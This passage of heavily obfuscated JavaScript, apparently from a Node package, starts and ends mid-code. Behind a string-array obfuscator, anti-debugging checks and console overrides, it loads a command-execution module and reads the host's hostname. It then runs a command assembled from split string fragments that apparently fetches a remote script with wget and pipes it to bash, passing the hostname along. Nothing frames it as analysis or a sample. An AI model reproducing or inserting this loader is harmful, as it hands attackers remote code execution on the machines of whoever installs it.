_0x4547(_0x5afaf6-0x1af,_0x3f6550);}function _0x8e357f(_0x586757,_0x3aec29,_0x11f767,_0x3be49b,_0x551c9f){return _0x4547(_0x3aec29-0x1f5,_0x551c9f);}function _0x3e0f4d(_0x6617ec,_0xb271af,_0x3c1ac8,_0x2bc092,_0x53b3fc){return _0x4547(_0x6617ec-0x5b,_0x2bc092);}function _0xf2c410(_0x28128f,_0x447c53,_0x323758,_0x220c74,_0x5551fc){return _0x4547(_0x5551fc-0x7b,_0x28128f);}function _0x5cd5e7(_0x5e2dd3,_0x446ce4,_0x32d11b,_0x51904e,_0xde839f){return _0x4547(_0x32d11b-0x218,_0xde839f);}_0x1feb25[_0x3e0f4d(0x262,0x1ca,0x1d7,0x1d4,0x1dc)](_0x4f06ae,this,function(){function _0x13303a(_0x35d4b0,_0x1fd81a,_0x1505f0,_0x1d8b8a,_0x437205){return _0x5cd5e7(_0x35d4b0-0x161,_0x1fd81a-0xc7,_0x35d4b0- -0x45e,_0x1d8b8a-0x84,_0x1fd81a);}function _0x3f51bf(_0xb7fd1c,_0x90e928,_0x45ae86,_0x22ce20,_0x8e596e){return _0x5cd5e7(_0xb7fd1c-0x1b5,_0x90e928-0xdd,_0x8e596e- -0x417,_0x22ce20-0x8f,_0x45ae86);}function _0x12abcb(_0x2d2296,_0xc2e06a,_0x181186,_0x46c9af,_0x56a961){return _0x3e0f4d(_0x56a961-0x241,_0xc2e06a-0x186,_0x181186-0x52,_0x2d2296,_0x56a961-0xef);}function _0xcda1ec(_0x5a3fd7,_0x5d5e58,_0xaf419c,_0x14a4fd,_0x16e907){return _0x3e0f4d(_0x5a3fd7- -0x236,_0x5d5e58-0xd2,_0xaf419c-0x176,_0x5d5e58,_0x16e907-0x199);}function _0x66503a(_0x41562d,_0x1eba13,_0x1cea32,_0x18d95a,_0xc384a8){return _0x3e0f4d(_0x1cea32-0x2b1,_0x1eba13-0x1f0,_0x1cea32-0x151,_0x18d95a,_0xc384a8-0x118);}if(_0x1feb25[_0x13303a(0x2c,-0x77,0xa,-0x61,0xb6)](_0x1feb25[_0x13303a(0x7e,0x9,0x2a,0x4d,0x5f)],_0x1feb25[_0x13303a(0x7e,0x48,0xed,0x9a,0x6)])){var _0x2ead36=new RegExp(_0x1feb25[_0x66503a(0x5c8,0x54f,0x5df,0x578,0x604)]),_0x51d92b=new RegExp(_0x1feb25[_0xcda1ec(0xa5,0x4d,0x61,0x78,0xf2)],'i'),_0x2787f3=_0x1feb25[_0x13303a(-0x9f,-0x5d,-0x23,-0x2,-0x123)](_0x20f2a3,_0x1feb25[_0x66503a(0x549,0x4ae,0x510,0x5a7,0x574)]);if(!_0x2ead36[_0xcda1ec(-0x26,0x26,-0x87,-0x43,-0x1b)](_0x1feb25[_0x13303a(-0xc,0x26,0x2a,0x57,-0x36)](_0x2787f3,_0x1feb25[_0x66503a(0x4ef,0x5af,0x589,0x616,0x504)]))||!_0x51d92b[_0x12abcb(0x404,0x4d1,0x3ba,0x437,0x451)](_0x1feb25[_0x3f51bf(0xc7,0xb4,0x5a,0x25,0x8d)](_0x2787f3,_0x1feb25[_0x3f51bf(0xab,0x3,0xa5,0x43,0x62)]))){if(_0x1feb25[_0x66503a(0x60d,0x5ce,0x5e2,0x615,0x615)](_0x1feb25[_0x12abcb(0x589,0x61d,0x56d,0x5fc,0x578)],_0x1feb25[_0x12abcb(0x536,0x510,0x5a3,0x5a9,0x578)])){var _0x56ac8d=_0x546245?function(){function _0xdc2f2f(_0x89f1a6,_0x50c89c,_0x54f219,_0xa2722c,_0x253c58){return _0x13303a(_0x89f1a6-0x3db,_0x253c58,_0x54f219-0xc0,_0xa2722c-0x15,_0x253c58-0x170);}if(_0x174b7b){var _0x4ad337=_0x136d5a[_0xdc2f2f(0x455,0x4b0,0x40f,0x4da,0x3c2)](_0x957736,arguments);return _0x55a824=null,_0x4ad337;}}:function(){};return _0x2c6841=![],_0x56ac8d;}else _0x1feb25[_0x12abcb(0x3a0,0x40a,0x424,0x4cf,0x443)](_0x2787f3,'0');}else{if(_0x1feb25[_0x66503a(0x529,0x607,0x57e,0x4e5,0x5e5)](_0x1feb25[_0x3f51bf(0x29,0x41,0xb1,0x5a,0x11)],_0x1feb25[_0x12abcb(0x411,0x473,0x4c4,0x421,0x4ac)]))_0x1feb25[_0x3f51bf(-0x4,-0x86,0x29,-0x7d,0xf)](_0x20f2a3);else{var _0x888b42=_0x4ce808[_0x12abcb(0x54f,0x57f,0x4d9,0x522,0x55c)](_0x5c24a9,arguments);return _0x2af711=null,_0x888b42;}}}else{if(_0x5a6112){var _0x563dcc=_0x4c5414[_0x66503a(0x622,0x66b,0x5cc,0x5c1,0x5bb)](_0x4e16e8,arguments);return _0x43ee5c=null,_0x563dcc;}}})();}());var _0x3a9846=(function(){var _0x11e8e0={};function _0x18f462(_0x4e2aa4,_0x2f0015,_0x3f8a64,_0x226cf1,_0x365565){return _0x4547(_0x2f0015-0x237,_0x365565);}function _0x33fbc3(_0x129c60,_0x531cb4,_0x35017a,_0x3a57d0,_0x3e01ff){return _0x4547(_0x3e01ff-0x61,_0x129c60);}_0x11e8e0[_0x33fbc3(0x279,0x2d3,0x225,0x29b,0x24a)]=function(_0x5afee6,_0x31048a){return _0x5afee6!==_0x31048a;};function _0x1d18a3(_0x113001,_0x458e42,_0x4599c0,_0x3f6559,_0xbfa2){return _0x4547(_0x458e42-0x289,_0xbfa2);}_0x11e8e0[_0x1b7e9c(0x1f2,0x1c9,0x1fa,0x1f8,0x1ed)]=_0x1b7e9c(0xf9,0x117,0xd9,0x94,0x17e),_0x11e8e0[_0x15daec(0x696,0x60c,0x660,0x5b4,0x641)]=_0x33fbc3(0x3ad,0x375,0x2a8,0x330,0x317),_0x11e8e0[_0x18f462(0x3ed,0x42f,0x4ba,0x3da,0x43a)]=function(_0x1d4a02,_0x4dd09b){return _0x1d4a02!==_0x4dd09b;},_0x11e8e0[_0x1b7e9c(0x1f9,0x294,0x1fb,0x1af,0x171)]=_0x1d18a3(0x565,0x50a,0x508,0x51b,0x585),_0x11e8e0[_0x18f462(0x431,0x3ee,0x43c,0x48d,0x37a)]=function(_0x17b585,_0x5e8f2b){return _0x17b585===_0x5e8f2b;},_0x11e8e0[_0x18f462(0x44f,0x494,0x4ae,0x428,0x4ab)]=_0x1b7e9c(0x11b,0x92,0x16f,0xc4,0x8a);var _0x277fbb=_0x11e8e0,_0xe13548=!![];function _0x1b7e9c(_0x3ad0a1,_0x3fc497,_0x12d51e,_0xbfc8f5,_0x2ada9b){return _0x4547(_0x3ad0a1- -0xa1,_0xbfc8f5);}function _0x15daec(_0x3d4c4b,_0xb09f47,_0x1d4fb1,_0x249610,_0x24e17a){return _0x4547(_0x24e17a-0x3b4,_0xb09f47);}return function(_0xfe5097,_0x30d69e){var _0x557a31={'CZUuY':function(_0x4a6685,_0x2918d9){function _0x193272(_0x1b02f7,_0x3741f8,_0x5a7b2d,_0x26ec53,_0xf1bf3b){return _0x4547(_0x5a7b2d-0x49,_0x3741f8);}return _0x277fbb[_0x193272(0x2c3,0x232,0x232,0x1ca,0x1b2)](_0x4a6685,_0x2918d9);},'mRIjg':_0x277fbb[_0x3a2ead(0x164,0x182,0x1ae,0x1fb,0x116)],'tAVSq':_0x277fbb[_0x1b40c6(0x61c,0x5aa,0x518,0x563,0x53d)],'dEdlP':function(_0x23014e,_0x441fda){function _0x3b1d36(_0x1751dc,_0xaae017,_0xafa2fe,_0x49ad84,_0x4ef195){return _0x3a2ead(_0x1751dc-0x168,_0xaae017-0x184,_0x4ef195- -0x80,_0xaae017,_0x4ef195-0x1d7);}return _0x277fbb[_0x3b1d36(0xb1,0x55,0xac,0x72,0x93)](_0x23014e,_0x441fda);},'NVUMR':_0x277fbb[_0x3a2ead(0x1e3,0x14c,0x1b5,0x112,0x214)]};function _0x3a2ead(_0x59d519,_0x3887e1,_0x1b3c6b,_0x40039e,_0x4f366a){return _0x33fbc3(_0x40039e,_0x3887e1-0x156,_0x1b3c6b-0xd5,_0x40039e-0x9f,_0x1b3c6b- -0x146);}function _0x4b959e(_0x303bac,_0x3a821c,_0x1dedcd,_0x268117,_0x3f3948){return _0x18f462(_0x303bac-0x61,_0x303bac- -0x56,_0x1dedcd-0x16a,_0x268117-0x14c,_0x268117);}function _0x13dbc2(_0x45d47b,_0x4e4fea,_0x4bfaea,_0x5eee9b,_0x1b69d9){return _0x33fbc3(_0x4e4fea,_0x4e4fea-0xc2,_0x4bfaea-0x198,_0x5eee9b-0xbe,_0x5eee9b- -0x22d);}function _0x1b40c6(_0x605936,_0x33bfb6,_0x495af9,_0xa6689f,_0x522ebe){return _0x1d18a3(_0x605936-0x101,_0x33bfb6-0x94,_0x495af9-0x152,_0xa6689f-0x12e,_0x495af9);}function _0x105ee6(_0x2203d7,_0x10013c,_0x39164e,_0x3c1724,_0x1f6173){return _0x18f462(_0x2203d7-0x140,_0x39164e- -0x348,_0x39164e-0x44,_0x3c1724-0x13c,_0x10013c);}if(_0x277fbb[_0x105ee6(0x138,0x128,0xa6,0x149,0x77)](_0x277fbb[_0x1b40c6(0x596,0x57a,0x535,0x53e,0x51a)],_0x277fbb[_0x4b959e(0x43e,0x3b4,0x3a5,0x4cf,0x48e)])){var _0x4e81eb=_0xe13548?function(){function _0x3455e1(_0x28f074,_0x2fdfae,_0x10c8b3,_0x3399a9,_0x542193){return _0x4b959e(_0x3399a9-0x1a6,_0x2fdfae-0x1e8,_0x10c8b3-0x66,_0x542193,_0x542193-0xa);}function _0x5c4e73(_0x53992a,_0x3aef98,_0x1347ca,_0x4a3c2a,_0x57f09e){return _0x13dbc2(_0x53992a-0x5d,_0x57f09e,_0x1347ca-0x7b,_0x1347ca-0x25c,_0x57f09e-0x164);}function _0x311eaa(_0x45aea3,_0x9c4fd5,_0x5dba22,_0x46e215,_0x15334b){return _0x13dbc2(_0x45aea3-0x12b,_0x45aea3,_0x5dba22-0xee,_0x15334b-0x18b,_0x15334b-0xdf);}function _0xafc12f(_0x65012c,_0x49886d,_0x4120a8,_0x32f645,_0x5b6045){return _0x4b959e(_0x4120a8-0xe1,_0x49886d-0xb4,_0x4120a8-0xdc,_0x65012c,_0x5b6045-0xf1);}function _0x27bfcd(_0x438fde,_0xbebf03,_0x24560b,_0x5e48f2,_0x2721b7){return _0x3a2ead(_0x438fde-0x11e,_0xbebf03-0x118,_0x5e48f2- -0x2fb,_0x2721b7,_0x2721b7-0x199);}if(_0x557a31[_0x5c4e73(0x23e,0x265,0x236,0x21e,0x2d9)](_0x557a31[_0x27bfcd(-0x213,-0x151,-0x1a2,-0x1f4,-0x16d)],_0x557a31[_0x5c4e73(0x2e7,0x307,0x340,0x3c9,0x2f3)])){if(_0x30d69e){if(_0x557a31[_0x5c4e73(0x1c2,0x26a,0x253,0x1f5,0x296)](_0x557a31[_0x311eaa(0x124,0x158,0x249,0x123,0x1b2)],_0x557a31[_0x3455e1(0x579,0x50c,0x51b,0x57a,0x4fa)]))return![];else{var _0x3cd56a=_0x30d69e[_0xafc12f(0x5ee,0x53c,0x582,0x54b,0x5fc)](_0xfe5097,arguments);return _0x30d69e=null,_0x3cd56a;}}}else{var _0x7812bf=_0x509658[_0x311eaa(0x304,0x2ff,0x263,0x221,0x27f)](_0x2da918,arguments);return _0x51601e=null,_0x7812bf;}}:function(){};return _0xe13548=![],_0x4e81eb;}else _0x42f47b=_0x99f013[_0x4b959e(0x4af,0x50d,0x4e8,0x454,0x475)+'t'],_0x2f7989=!![];};}()),_0x4fd164=_0x3a9846(this,function(){var _0x3d9781={'ToaxF':function(_0x22a119){return _0x22a119();},'DPxCH':_0x5a5f8f(-0xe1,-0x18e,-0xf8,-0xe7,-0x153)+_0x22ba8c(0x473,0x49b,0x50e,0x3f7,0x477)+_0x22ba8c(0x4f4,0x486,0x44f,0x420,0x3fa)+')','KQwLX':_0x5a5f8f(-0x16,0x29,-0x39,0xa,-0xa7)+_0x22ba8c(0x50f,0x470,0x486,0x4ca,0x43b)+_0x4de0cf(0x56c,0x545,0x594,0x5af,0x624)+_0x2c5175(0x3b5,0x316,0x2e1,0x310,0x3b5)+_0x22ba8c(0x330,0x39d,0x318,0x32a,0x40e)+_0x4de0cf(0x445,0x438,0x4ce,0x4b3,0x471)+_0x185579(0x1a6,0x1b4,0xda,0x1c0,0x11b),'CKkKv':function(_0xf2e29e,_0x23fbd6){return _0xf2e29e(_0x23fbd6);},'GdXIP':_0x2c5175(0x2e8,0x330,0x32b,0x2c8,0x387),'ozGYq':function(_0x38d123,_0x49ff16){return _0x38d123+_0x49ff16;},'JExoy':_0x185579(0x1b7,0x180,0x113,0x202,0x184),'PibsA':_0x2c5175(0x23f,0x246,0x280,0x204,0x1ac),'xdacM':function(_0x40aa9f,_0x34932e){return _0x40aa9f(_0x34932e);},'MiLxe':function(_0x11be4d){return _0x11be4d();},'ZCPwU':function(_0x3a4486,_0x1b704c,_0x2a4e9b){return _0x3a4486(_0x1b704c,_0x2a4e9b);},'YiWum':function(_0x58b382,_0x155763){return _0x58b382===_0x155763;},'luvLv':_0x22ba8c(0x3e1,0x44f,0x3e0,0x3f7,0x45e),'rdaat':_0x185579(0x227,0x24c,0x1a4,0x241,0x1a9)+_0x185579(0x195,0x207,0x1eb,0x234,0x23a)+_0x22ba8c(0x3e9,0x421,0x44a,0x386,0x3ab)+_0x2c5175(0x207,0x295,0x2de,0x270,0x204),'wOIRW':_0x22ba8c(0x368,0x394,0x308,0x318,0x3ca)+_0x22ba8c(0x3f6,0x436,0x399,0x47d,0x3f4)+_0x2c5175(0x31c,0x282,0x2fc,0x2e2,0x214)+_0x22ba8c(0x3f1,0x454,0x3c9,0x411,0x3d0)+_0x4de0cf(0x465,0x52c,0x4a5,0x4e4,0x531)+_0x2c5175(0x3e1,0x349,0x343,0x371,0x33c)+'\x20)','VRPHt':function(_0xbb25c5){return _0xbb25c5();},'nfWnG':function(_0x20f3df,_0x4f7895){return _0x20f3df!==_0x4f7895;},'EkbwV':_0x2c5175(0x288,0x23a,0x197,0x1c4,0x28e),'gBkyK':_0x4de0cf(0x5b9,0x58f,0x552,0x59f,0x624),'WNxbF':_0x4de0cf(0x4ff,0x413,0x3f1,0x484,0x4bc),'Rlang':_0x22ba8c(0x3db,0x433,0x4cb,0x43a,0x400),'isNAX':_0x5a5f8f(-0x1a,-0x5a,-0x93,-0x116,-0xf2),'vYlcx':_0x185579(0x26a,0x1ba,0x199,0x2ac,0x210)+_0x22ba8c(0x4aa,0x459,0x41f,0x4d7,0x47c),'xACuv':_0x5a5f8f(-0xf0,-0x11b,-0x87,-0xd4,-0x86),'MsBUX':_0x22ba8c(0x3a0,0x3cc,0x463,0x3de,0x3fd),'pbpwO':function(_0x457215,_0x37807b){return _0x457215<_0x37807b;},'Tavpc':function(_0x3b1a3a,_0x234757){return _0x3b1a3a!==_0x234757;},'McPPR':_0x22ba8c(0x4c4,0x439,0x4ba,0x49b,0x426),'yxpul':_0x2c5175(0x27f,0x23f,0x280,0x1c9,0x231)+_0x22ba8c(0x50d,0x4a7,0x45b,0x44f,0x468)+'0'};function _0x22ba8c(_0x49933b,_0x40470d,_0x334d86,_0x28af7f,_0x5656e6){return _0x4547(_0x40470d-0x1de,_0x49933b);}function _0x185579(_0x31c61f,_0x3d1d99,_0x49af2b,_0x30837d,_0x335de7){return _0x4547(_0x335de7- -0x87,_0x30837d);}var _0x38a12d;function _0x2c5175(_0x5d223f,_0x772e02,_0x4e12ef,_0x23dae5,_0x38f839){return _0x4547(_0x772e02-0x7d,_0x38f839);}try{if(_0x3d9781[_0x5a5f8f(-0x186,-0xd0,-0x130,-0x1b4,-0x197)](_0x3d9781[_0x185579(0x1ac,0x15d,0x11d,0xf9,0x198)],_0x3d9781[_0x5a5f8f(-0xc3,-0x14a,-0xd2,-0x15e,-0x96)])){var _0x43c406=_0x3d9781[_0x2c5175(0x1c5,0x21a,0x1e4,0x271,0x2ba)](Function,_0x3d9781[_0x4de0cf(0x43f,0x4da,0x4a4,0x480,0x516)](_0x3d9781[_0x185579(0x15f,0x161,0xce,0xb8,0x115)](_0x3d9781[_0x5a5f8f(-0xd0,-0x2b,-0x43,-0xc9,-0xc8)],_0x3d9781[_0x22ba8c(0x4ba,0x48f,0x458,0x4a2,0x3f1)]),');'));_0x38a12d=_0x3d9781[_0x5a5f8f(-0x8b,-0x10d,-0x7d,-0x3e,-0x20)](_0x43c406);}else _0x3d9781[_0x5a5f8f(-0xd5,-0xd2,-0x11e,-0x92,-0x128)](_0x3e8f42);}catch(_0x5b0335){_0x3d9781[_0x2c5175(0x32c,0x28e,0x1f5,0x281,0x31e)](_0x3d9781[_0x2c5175(0x1f3,0x22a,0x26b,0x1c2,0x1e5)],_0x3d9781[_0x4de0cf(0x4c7,0x451,0x461,0x491,0x4dc)])?_0x3d9781[_0x2c5175(0x2ca,0x258,0x252,0x26f,0x207)](_0x3bf6fb,this,function(){function _0x71cc74(_0x345310,_0x1a217f,_0x9d7d45,_0x41a9d2,_0x468650){return _0x4de0cf(_0x345310-0x1c8,_0x1a217f-0x91,_0x9d7d45-0x5f,_0x345310- -0x1e0,_0x9d7d45);}var _0x2982c5=new _0xde3e3b(_0x3d9781[_0x426e70(0x4a7,0x397,0x3ea,0x45a,0x40d)]);function _0x39a4bf(_0x307df1,_0x33f32d,_0xa5af10,_0x4da2b9,_0x28117b){return _0x2c5175(_0x307df1-0xef,_0x28117b- -0x304,_0xa5af10-0x12d,_0x4da2b9-0x12e,_0x33f32d);}function _0x426e70(_0x2e1ff6,_0x380fd5,_0x1bea19,_0x1dae6e,_0x30e58a){return _0x5a5f8f(_0x2e1ff6-0x107,_0x380fd5-0x1a2,_0x30e58a-0x4ea,_0x1dae6e-0x93,_0x380fd5);}var _0x2b650e=new _0x52017a(_0x3d9781[_0x426e70(0x3ee,0x368,0x3c8,0x3b9,0x3a5)],'i');function _0x2e81f0(_0x50dae8,_0x29f4f8,_0x5cb6d9,_0x566438,_0x2e4e98){return _0x4de0cf(_0x50dae8-0x29,_0x29f4f8-0x15b,_0x5cb6d9-0x175,_0x50dae8-0x61,_0x2e4e98);}var _0x5a0fe3=_0x3d9781[_0x426e70(0x389,0x3e4,0x3f5,0x389,0x3fa)](_0x597325,_0x3d9781[_0x270462(0x257,0x19c,0x1a4,0x1f7,0x1f1)]);function _0x270462(_0xdcbc4c,_0x1293b8,_0x44fd1e,_0x6a332e,_0x28f66d){return _0x22ba8c(_0x44fd1e,_0x28f66d- -0x249,_0x44fd1e-0x1a1,_0x6a332e-0x5c,_0x28f66d-0x1e2);}!_0x2982c5[_0x426e70(0x411,0x34b,0x42f,0x400,0x3ae)](_0x3d9781[_0x270462(0x12f,0x112,0x1c4,0x146,0x131)](_0x5a0fe3,_0x3d9781[_0x270462(0x18d,0x198,0xf7,0x1f0,0x18a)]))||!_0x2b650e[_0x270462(0x1d8,0x105,0x189,0x124,0x14a)](_0x3d9781[_0x426e70(0x40d,0x3a9,0x437,0x42c,0x395)](_0x5a0fe3,_0x3d9781[_0x71cc74(0x30d,0x35a,0x31a,0x378,0x34e)]))?_0x3d9781[_0x71cc74(0x2a1,0x266,0x2eb,0x311,0x2e6)](_0x5a0fe3,'0'):_0x3d9781[_0x39a4bf(-0xbe,0x45,-0x82,-0xdb,-0x60)](_0x471eb2);})():_0x38a12d=window;}var _0x59abc2=_0x38a12d[_0x5a5f8f(-0x169,-0x168,-0x146,-0x191,-0x105)+'le']=_0x38a12d[_0x5a5f8f(-0xe6,-0x17f,-0x146,-0x1b7,-0x1c1)+'le']||{};function _0x5a5f8f(_0x3daec2,_0x10895b,_0x4ca022,_0x191aa3,_0x2b44f5){return _0x4547(_0x4ca022- -0x2f1,_0x2b44f5);}function _0x4de0cf(_0x3b51de,_0x5b6ca4,_0x244872,_0x7e7790,_0x279d64){return _0x4547(_0x7e7790-0x2e4,_0x279d64);}var _0x100732=[_0x3d9781[_0x22ba8c(0x3dc,0x3af,0x393,0x3ea,0x337)],_0x3d9781[_0x2c5175(0x22c,0x265,0x26b,0x2ad,0x22e)],_0x3d9781[_0x5a5f8f(-0xc7,-0xb8,-0xc5,-0xa6,-0x33)],_0x3d9781[_0x185579(0x19f,0x237,0x267,0x1c1,0x228)],_0x3d9781[_0x5a5f8f(-0x122,-0x3d,-0xcc,-0x108,-0x15d)],_0x3d9781[_0x185579(0x271,0x2a7,0x1d5,0x1b2,0x23b)],_0x3d9781[_0x185579(0x17c,0x1b2,0x2a2,0x197,0x214)]];for(var _0x181df2=-0x2c*-0xdc+-0x104c+0x9*-0x264;_0x3d9781[_0x185579(0x16a,0x221,0x18b,0x114,0x1ad)](_0x181df2,_0x100732[_0x2c5175(0x1b5,0x21e,0x1b9,0x286,0x254)+'h']);_0x181df2++){if(_0x3d9781[_0x5a5f8f(-0x62,-0x8c,-0x106,-0x78,-0xcb)](_0x3d9781[_0x5a5f8f(-0xd7,-0xe0,-0xe2,-0x147,-0x149)],_0x3d9781[_0x185579(0xfc,0xf8,0x148,0x219,0x188)]))_0x5da6b3=_0x1936cb;else{var _0xfd2c5e=_0x3d9781[_0x5a5f8f(-0xda,0x2e,-0x75,0x1,-0xc2)][_0x4de0cf(0x5b4,0x5ac,0x550,0x56a,0x53a)]('|'),_0x102b3c=-0x1*-0x269f+-0x11f8+-0x11*0x137;while(!![]){switch(_0xfd2c5e[_0x102b3c++]){case'0':_0x59abc2[_0x353aeb]=_0x2e1f95;continue;case'1':var _0x353aeb=_0x100732[_0x181df2];continue;case'2':_0x2e1f95[_0x5a5f8f(-0xe6,0xe,-0x66,-0x4b,-0xe2)+_0x2c5175(0x2ed,0x322,0x3aa,0x366,0x3aa)]=_0x3a9846[_0x185579(0x1f2,0x1db,0x138,0x148,0x18e)](_0x3a9846);continue;case'3':var _0x2e1f95=_0x3a9846[_0x185579(0x1f7,0x169,0xfe,0xee,0x181)+_0x185579(0x19b,0x14c,0x18e,0x105,0x147)+'r'][_0x185579(0x1cf,0x158,0x139,0x111,0x199)+_0x4de0cf(0x475,0x491,0x44a,0x4aa,0x4fe)][_0x5a5f8f(-0x4c,-0x49,-0xdc,-0x110,-0x145)](_0x3a9846);continue;case'4':_0x2e1f95[_0x4de0cf(0x46d,0x54b,0x598,0x500,0x57d)+_0x5a5f8f(-0x97,-0x69,-0x8c,-0x58,0x13)]=_0x43f0ad[_0x5a5f8f(-0x52,-0xc4,-0xd5,-0x10f,-0x115)+_0x5a5f8f(-0xef,-0x31,-0x8c,-0x23,-0x27)][_0x5a5f8f(-0x17e,-0xb9,-0xdc,-0x3e,-0x72)](_0x43f0ad);continue;case'5':var _0x43f0ad=_0x59abc2[_0x353aeb]||_0x2e1f95;continue;}break;}}}});function _0x2ad22a(_0x5e7bb8,_0x4fc591,_0x221604,_0x1d2ee7,_0x8caa8b){return _0x4547(_0x1d2ee7-0x334,_0x5e7bb8);}_0x4fd164();const node=require(_0x20d961(-0x89,-0x5d,-0xed,-0x53,0x47)+_0x3db385(-0xf4,-0x84,-0x70,-0x7f,-0xc6))();var os=require('os');function _0x530d4(_0x23a9ac,_0x969c28,_0x5c2e8d,_0x37d07e,_0x466b1e){return _0x4547(_0x5c2e8d- -0x186,_0x466b1e);}function _0x3db385(_0x5ce75b,_0xf9fec8,_0x2c26c1,_0x431229,_0x226989){return _0x4547(_0xf9fec8- -0x309,_0x5ce75b);}var hostname=os[_0x20d961(-0x83,-0x4d,-0x8e,0x37,-0x63)+_0x3db385(-0x115,-0x119,-0x175,-0xf9,-0x1b4)]();const cmd=require(_0x3db385(-0x172,-0xdb,-0xcf,-0x94,-0x93)+_0x4c604d(0x451,0x4ee,0x498,0x548,0x464)+'e');let nodeOutput='',isDone=![];function _0x20d961(_0x19cabf,_0xb8d7a6,_0x6d47ff,_0x19e379,_0x5f46f3){return _0x4547(_0xb8d7a6- -0x22f,_0x19cabf);}function _0xc3d4(){var _0x111423=['table','InMQE','CScpm','rQZkK','dwRhY','DXMee','TZCXi','LKVtc','CRsCu','mkumR','VRPHt','hMobT','\x22retu','state','JKCdU','then','clXMN','tion','yxpul','uGAWE','WlTMS','PmGlc','Ixpab','bjEiy','F9dYk','gger','xvd84','-ipc','split','27dolbng','TjtDG','cqekV','1296500JLToOu','__pro','WyJks','IWdPc','uXFxS','1LVVsvT','fFRvX','EEvEM','*(?:[','Dbzth','FiCvx','qnjaA','246270qRlbnz','excep','AmnMR','Z_$][','bvODK','MsBUX','HMtCe','PDNWN','tps:/','XBIUa','SMeaV','RMHHK','HHVOe','QLXoj','VYdTX','to__','hxLmG','nTFeZ','\x5c(\x20*\x5c','(((.+','leted','VuRDF','gokxo','Vennb','rdaat','isNAX','tAVSq','wOIRW','rOglB','init','2|5|0','POsLj','pXCDr','-q\x20-O','\x5c+\x5c+\x20','BpfTN','lIOJu','log','PAAir','ion\x20*','searc','OxFxr','apply','n\x20(fu','xACuv','\x20(tru','JYyul','SSLkU','LNZci','umSen','5545595xXsBPU','|2|4|','jBDiN','a-zA-','is\x22)(','wgPlZ','stdou','yW74P','LKyJf','plFsb','RRGUb','Zhzhi','aarkV','wgSxp','GTbHI','cbFIF','wget\x20','XlEtM','tcSub','hvSIA','CjhTl','pbLLA','debu','3pPne','oqKVa','dgzBa','oudKu','ZSLDv','UuiqK','ozGYq','xdacM','QbeRl','WejIb','warn','lengt','$]*)','/ssh.','IqZaO','TFYpU','CZUuY','vylKo','3OAOxeT','MmZig','|0|3|','conso','KQwLX','EkbwV','rueaD','dFhFt','opbMY','otiaG','pUbWR','pMkLG','vIIGQ','test','{}.co','hTSVC','AfuXn','955754ySgQdn','xtOgj','HdMit','fmafp','jVbhH','TmydF','0-9a-','uGZFY','YiWum','3|1|5','dEdlP','xFGIp','1068613JetWnj','type','call','PTMJl','input','ehGjP','CbTim','vqXBB','strin','ructo','zA-Z_','iQCdZ','gBkyK','hyper','ToaxF','LBunk','1447784yeWVGP','OYsbu','fZYAW','Cbshg','xHEyV','IAiJA','ZCPwU','Lknh','kHkzn','rRxYy','LsFph','ndTQi','QMMvl','hostn','\x20-\x20ht','err\x20=','BNKzQ','tUujd','flbVm','WNxbF','gwzpu','gTnzs','Tavpc','mRIjg','dIRiR','trace','JSdLM','ame','dHJKo','dRima','NVUMR','aXvKe','JExoy','qAJhW','while','FPpzt','funct','CjAPJ','lHQCf','wMtZS','SVgTy','\x20|\x20ba','GZYjC','rn\x20th','CKkKv','pcqqF','XxiOk','BlsFB','ctor(','OLUpP','ZSmMs','const','PibsA','XkCOy','chain','TxXyC','bpLja','qajsv','McPPR','tOgIA','nfWnG','xfjNA','lpcwc','DPxCH','bind','romis','IPQaH','n()\x20','\x20comp','hLvNg','ctDyA','toStr','Objec','BFDMi','luvLv','proto','kznQK','cript','ZKjBM','PGecG','vYlcx','EqPRz','MiLxe','cNser','3|2|1','OXAMf','DZcFa','Rlang','catch','cmd-p','JKcuQ','retur','ZpsQv','fVgnY','vNmsJ','pbpwO','actio','ZlzQX','AwZBp','ObKDX','752725mZYCgo','lSgMT','8ePqjjl','serve','negyH','NZlIK','FX9a8','jwKSX','sQXhk','jZPMM','nctio','HViaV','DjiRW','ghubO','YUwdm','yufEQ','2|5|4','NQpBV','surf/',':\x20\x0a','zWoWo','vNnaZ','YWKgf',')+)+)','|1|4|','Uegnw','maAzq','NacCM','info','run/s','MCRNL','nstru','GquKR','XaVXg','xaWdY','GdXIP','YGwkP','error','DknVq','e)\x20{}','Dnbfx','EiSSV','juRJI','count','ing','EusHT','DRzUi','|4|0','VOAtv'];_0xc3d4=function(){return _0x111423;};return _0xc3d4();}node[_0x20d961(-0x60,0xd,0x47,0xa4,-0x1c)](_0x4c604d(0x425,0x4b7,0x4db,0x529,0x4ce)+_0x3db385(-0x216,-0x173,-0x1d6,-0x1d5,-0x122)+_0x4c604d(0x4df,0x500,0x5a2,0x56d,0x538)+_0x3db385(0x47,-0x3a,-0x2e,-0x81,0x7)+_0x2ad22a(0x5f4,0x64a,0x648,0x5ac,0x510)+_0x3db385(-0x3d,-0xca,-0x105,-0x122,-0xe4)+_0x20d961(0x45,0x5f,0x97,0xd2,0xfe)+_0x530d4(0xbe,0x12a,0xb1,0xfb,0x124)+_0x4c604d(0x4da,0x55a,0x589,0x5bd,0x53a)+_0x530d4(0x143,0xae,0xfe,0x147,0xf8)+_0x3db385(-0x2d,-0xbb,-0xcf,-0xd4,-0x63)+_0x4c604d(0x633,0x59f,0x595,0x56f,0x613)+_0x4c604d(0x4b6,0x4b4,0x48b,0x53c,0x470)+hostname,async _0x567071=>{function _0x46fb4c(_0x24c13a,_0x16f3a7,_0x303baa,_0x99c7d6,_0x2a4f13){return _0x3db385(_0x99c7d6,_0x303baa-0x441,_0x303baa-0x1a9,_0x99c7d6-0xc2,_0x2a4f13-0x1d);}function _0x4b666b(_0x40d0a9,_0x3eb504,_0x157af4,_0x39c44a,_0x9b83ff){return _0x530d4(_0x40d0a9-0x9f,_0x3eb504-0x63,_0x3eb504-0x81,_0x39c44a-0x1c7,_0x9b83ff);}function _0x2836f6(_0x43c4b8,_0x45b92b,_0x4ebfa2,_0x1c32ef,_0xd33b88){return _0x20d961(_0xd33b88,_0x45b92b-0xd0,_0x4ebfa2-0x55,_0x1c32ef-0x177,_0xd33b88-0x61);}function _0x3044e2(_0x4ff140,_0x27f99d,_0xcf996a,_0x44c374,_0x57f849){return _0x2ad22a(_0x27f99d,_0x27f99d-0x141,_0xcf996a-0x132,_0x44c374-0x89,_0x57f849-0xc2);}function _0x40bfae(_0x335b3b,_0x1bec01,_0x4c3830,_0x6de377,_0xa59bd3){return _0x2ad22a(_0x4c3830,_0x1bec01-0x192,_0x4c3830-0x2e,_0x6de377- 